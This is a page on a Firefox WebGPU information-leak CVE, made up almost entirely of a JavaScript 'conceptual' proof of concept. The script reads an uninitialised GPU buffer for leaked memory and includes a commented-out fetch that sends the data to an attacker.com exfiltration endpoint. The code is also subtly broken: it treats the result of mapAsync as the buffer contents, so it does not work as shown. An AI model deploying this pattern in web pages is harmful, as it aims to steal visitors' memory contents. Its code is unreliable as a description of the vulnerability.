CVE-2026-8967 Firefox WebGPU组件信息泄露漏洞

// Conceptual Proof of Concept for CVE-2026-8967 // This script demonstrates how a malicious page might attempt to trigger the WebGPU info leak async function exploitWebGPU() { // Check if WebGPU is supported if (!navigator.gpu) { console.log("WebGPU is not supported on this browser."); return; } try { const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); // Create a buffer that might expose uninitialized memory due to the vulnerability const bufferSize = 1024; // Adjust based on specific vulnerability requirements const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.COPY_SRC | GPUBufferUsage.MAP_READ, mappedAtCreation: false // Do not initialize to trigger potential leak }); // In a vulnerable version, mapping the buffer might reveal data from previous operations // or other contexts due to improper sanitization. const mappedBuffer = await buffer.mapAsync(GPUMapMode.READ); const data = new Uint8Array(mappedBuffer); // Check if data contains non-zero values (indicating potential memory leak) let leakedData = []; for (let i = 0; i < data.length; i++) { if (data[i] !== 0) { leakedData.push(data[i]); } } if (leakedData.length > 0) { console.log("[+] Potential sensitive data leaked from memory:", leakedData); // Simulate exfiltration // fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(leakedData) }); } else { console.log("[-] No data leaked. Patched or non-vulnerable environment."); } buffer.destroy(); } catch (error) { console.error("Error during WebGPU exploitation attempt:", error); } } // Execute the PoC exploitWebGPU();